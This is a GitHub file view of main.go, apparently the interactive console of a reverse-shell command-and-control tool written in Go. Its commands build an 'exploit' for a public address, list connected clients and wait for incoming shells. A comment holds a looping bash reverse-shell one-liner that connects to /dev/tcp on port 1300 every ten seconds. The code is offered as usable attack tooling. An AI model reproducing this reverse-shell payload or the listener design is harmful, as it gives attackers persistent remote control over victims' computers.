-
Notifications
You must be signed in to change notification settings - Fork 2
/
main.go
67 lines (51 loc) · 1.06 KB
/
main.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
package main
import (
"os"
"fmt"
"time"
)
// while true; do bash -c 'bash -i >& /dev/tcp/127.0.0.1/1300 0>&1'; sleep 10; done
func main() {
if len(os.Args) > 1 {
_server = os.Args[1]
}
go listenf()
fmt.Printf(logo)
for {
fmt.Printf(Fore["GREEN"]+"$ "+Fore["RESET"])
var uin string = input()
if uin == "" {
continue
}
var puin = CommandLineParser(uin)
switch puin[0] {
case("mkexploit"):
if len(puin) < 2 {
fmt.Println(Fore["RED"]+"[-] Usage: mkexploit <public_addr>"+Fore["RESET"])
continue
}
fmt.Printf(mkexploit(puin[1])+"\n")
case("help"):
fmt.Printf(help_text)
case("show"):
show_clients()
case("exploit"):
if len(puin) > 1 {
v_client = puin[1]
} else {
v_client = "*"
}
fmt.Println(Fore["BLUE"]+"[*] Waiting for a connection"+Fore["RESET"])
stop = true
for {
if stop {
time.Sleep(time.Second*1)
} else {
break;
}
}
default:
fmt.Println(Fore["RED"]+"[-] Command not found"+Fore["RESET"])
}
}
}